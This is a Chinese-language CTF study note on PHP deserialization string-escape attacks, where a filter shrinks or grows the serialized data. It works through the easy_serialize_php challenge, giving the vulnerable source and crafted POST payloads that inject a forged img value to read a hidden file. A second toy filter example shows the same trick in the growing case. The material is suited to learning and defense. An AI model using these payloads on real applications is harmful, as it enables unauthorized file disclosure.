字符逃逸
序列化
类型:长度(键数):{类型:键长度:键名;类型:值长度:内容;} //本文键和值各自分为三部分,类型、长度、字符串
o:名长:对象名:长度(键数):{类型:键长度:键名;类型:值长度:内容;}
一.字符减少型
分类
值逃逸:值过滤,前值包后键与值(左引号为止)
-
条件为两个连续的键值对,第一个的值包含住第二个的键的全部和值的类型、长度,使第二个键值对产生逃逸
-
覆盖不可控参数【主要为长度这一数字,利用可传参数的前一参数被过滤或替换的逻辑,计算其长度,使伪造数据闭合】
-
传入可控数据【利用待伪造的变量的前一个变量传入我们伪造的此变量】
-
利用php序列化读取规则,顶替原参数
参数a,b,c,我们伪造c, 则有以下关系
c 携带 利用payload
可控参数b的值 携带
伪造的c
可控参数a的值 吃掉 原b及其长度
键逃逸:键过滤,自键包自值
- 利用对键的过滤,使前键的字符长度包含住自己的值及其长度
a.键 a.值
a.键名被过滤
导致其键包含了其值的类型和长度
造成了值的内容逃逸
题目示例:[安洵杯 2019]easy_serialize_php
源代码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?>
对于本题特别的有
extract($_POST); //可以将$_POST传入的变量,键值对绑定,自动将键对应的值赋给以键为名的变量上,可对形如 _SESSION[user]的键起作用,直接作用于$_SESSION[user],并影响$_SESSION,相当于直接以$_SESSION[user]=xxx赋值。
值逃逸
标准序列化对象
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
预期目标
a:3:{s:4:"user";s:24:"xxxxxxxxxxxxxxxxxxxx";s:8:"function";s:10:"Hephaesctf";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
xxxxx.....=;s:8:"function";s:71:"a
构造payload,使user值中的敏感字符被过滤,从而导致其字符长度刚好覆盖原本(不可控的)的function的键的全部和值的一部分,使我们主动传入的function参数中的img被被顺序解析为对象属性,使分号引号闭合,顶替原本的img参数,从而实现预期序列化构造。
传参
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:10:"Hephaesctf";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
关键点:
-
令
xxxxxxxxxxxxxxxxxxxx
长度刚好覆盖";s:8:"function";s:71:"a
,使得对应24长度的引号闭合【这是为了覆盖原function键值,造成字符溢出,使主动传入的(值的长度可自定义的)function被解析,以帮助img被解析,这个数字大小为被覆盖部分的长度】 -
img携带对函数利用的参数
拼接后
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:71:"a";s:8:"function";s:10:"Hephaesctf";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
键逃逸
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
a:3:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
{s:7:"xxxxxxx";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:8:"function";s:10:"show_image";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
字符增加型
假设web逻辑为接收参数,将第一参数中的t替换为kk
<?php
function filter($s){
return str_replace('t','kk',$s);
}
//$x = filter($_GET['id']);
$x = "ttttttttt"; //可控
$y = "Hephaesctf"; //待顶替
$ser=serialize(array($x,$y));
echo filter($ser);
那么,我们可以利用字符的增加构造payload
原本,传入ttttttttt
生成的是
a:2:{i:0;s:9:"kkkkkkkkkkkkkkkkkk";i:1;s:10:"HephaesCTF";}
显然是会产生错误的。
但是当我们添加包含的不是纯t时,一定数量的其他字符(t除外)有可能帮助我们使引号和长度匹配。
特别的,当我们构造$x为
ttttttttttttttttttttt";i:1;s:6:"phpinfo";}
新产生的k代替我们伪造的y(i=1)的参数占位,闭合了引号,且将伪造参数逃逸出去,且尾端分号闭合
a:2:{i:0;s:42:"kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk";i:1;s:6:"phpinfo";}";i:1;s:10:"HephaesCTF";}
关键点:
首先分析字符替换的单字符增量t(如本例为1)
将字符串分组(具体情况具体分析)
";i:1;s:6:"phpinfo";} //数量记为n
//则需要字符完成替换后增加n,则满足等式(tm=n)[m,n,t为整数],被替换字符数量为n/t
ttttttttttttttttttttt //如本题m=n